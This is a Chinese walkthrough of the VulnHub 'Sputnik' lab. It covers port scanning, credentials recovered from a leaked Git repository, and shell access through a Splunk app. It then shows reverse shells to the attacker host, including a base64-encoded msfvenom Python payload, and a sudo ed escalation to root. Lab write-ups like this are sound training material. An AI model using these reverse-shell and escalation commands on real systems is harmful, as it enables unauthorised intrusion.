1、靶机信息
靶机名称:Sputnik
靶机难度:简单
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:取得root权限
靶机地址:https://download.vulnhub.com/sputnik/Sputnik.ova
kali服务器IP | 192.168.3.41 |
靶机IP | 192.168.3.42 |
2、主机发现
2.1 通过arp协议进行同段主机发现,192.168.3.42
是我们的目标靶机
sudo arp-scan -l
2.2 使用nmap进行全端口发现
nmap -p- 192.168.3.42
2.3 对发现的端口进行服务版本扫描
nmap -sV -p 8089,55555,61337 192.168.3.42
端口号 | 服务名称 |
8089 | Splunkd httpd |
55555 | Apache httpd 2.4.29 |
61337 | Splunkd httpd |
2.4 访问8089端口,rpc链接访问后显示Invalid request,services和servicesNS链接访问后显示401认证,static链接访问后显示404 Not Found
https://192.168.3.42:8089/
2.5 访问55555端口,有一个小游戏
http://192.168.3.42:55555/
2.6 访问61337端口,splunk enterprise登陆界面
http://192.168.3.42:61337/en-US/account/login?return_to=%2Fen-US%2F
3、Git库泄露
3.1 使用dirsearch进行目录扫描,发现git文件泄露
Git是一个可以实现有效控制应用版本的系统,但是在一旦在代码发布的时候,存在不规范的操作及配置,就很可能将源代码泄露出去。一旦攻击者或者黑客发现这个问题之后,就可能利用其获取网站的源码、数据库等重要资源信息,进而造成严重的危害。在配置不当的情况下,可能会将“.git”文件直接部署到线上环境,这就造成了git泄露问题。攻击者利用该漏洞下载.git文件夹中的所有内容。如果文件夹中存在敏感信息(数据库账号密码、源码等),通过白盒的审计等方式就可能直接获得控制服务器的权限和机会。
http://192.168.3.42:55555/.git/
sudo dirsearch -u http://192.168.3.42:55555 -e *
3.2 在.git/logs/HEAD
文件中,会发现这里面记录着每一次移动HEAD时的历史记录,在里面我们找到一个clone记录
http://192.168.3.42:55555/.git/logs/HEAD
0000000000000000000000000000000000000000 21b4eb398bdae0799afbbb528468b5c6f580b975 root <root@sputnik.(none)> 1553864873 +0000 clone: from https://github.com/ameerpornillos/flappy.git
3.3 对代码仓库进行clone
git clone https://github.com/ameerpornillos/flappy
3.4 源代码结构如下
3.5 使用git log命令用于显示代码提交的历史日志记录,在历史记录中找到一个secret记录
git log -p
+sputnik:ameer_says_thank_you_and_good_job
3.6 使用账密成功登陆http://192.168.3.42:61337/
账号:sputnik
密码:ameer_says_thank_you_and_good_job
4、Splunk Shell获取
4.1 在splunk上安装github公开工具,获取其shell并武器化
https://github.com/TBGSecurity/splunk_shells
从安装手册中得知,首先从 https://github.com/TBGSecurity/splunk_shells/archive/1.2.tar.gz 下载版本,然后在splunk中选择"Manage Apps" 并且点击 "Install app from file"
4.2 选择刚下载的tar包并上传
4.3 重启splunk使其生效
4.4 重启后重新输入账密,可以看到已经部署成功
4.5 点击Permissions
4.6 选择 all apps并保存
4.7 选择app下的 Search&Reporting功能,在Search栏中可以进行命令执行
5、反弹shell
5.1 获取splunk服务器shell
Kali:nc -nvlp 9999
splunk服务器:| revshell std 192.168.3.41 9999
5.2 成功获取到shell
5.3 发现本机已安装python,使用python获取交互式shell
which python
5.4 使用 Msfvenom 创建一个python交互式shell
kali:msfvenom -p cmd/unix/reverse_python lhost=192.168.3.41 lport=6666 R
kali:nc -nvlp 6666
splunk服务器:python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAgLCAgIHN1YnByb2Nlc3MgICAgICwgICBvcyAgIDsgICAgICAgICBob3N0PSIxOTIuMTY4LjMuNDE9NjY2NiAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICwgICBzb2NrZXQuU09DS19TVFJFQU0pICAgOyAgICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAgLCAgIHBvcnQpKSAgIDsgICAgICAgICBvcy5kdXAyKHMwKSAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICwgICAxKSAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICwgICAyKSAgIDsgICAgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=')[0]))"
splunk服务器:python -c 'import pty;pty.spawn("/bin/bash")'
6、本地提权
6.1 使用sudo命令,查看能够执行哪些sudo命令,发现ed能够以sudo的方式执行
sudo -l
6.2 在网站检索ed命令,看看有没有提权的方式,选择sudo的形式,找到提权payload
https://gtfobins.github.io/gtfobins/ed/#sudo
6.3 使用提权命令成功提权至root
sudo ed
!/bin/sh
6.4 在root目录下找到flag.txt,本次打靶结束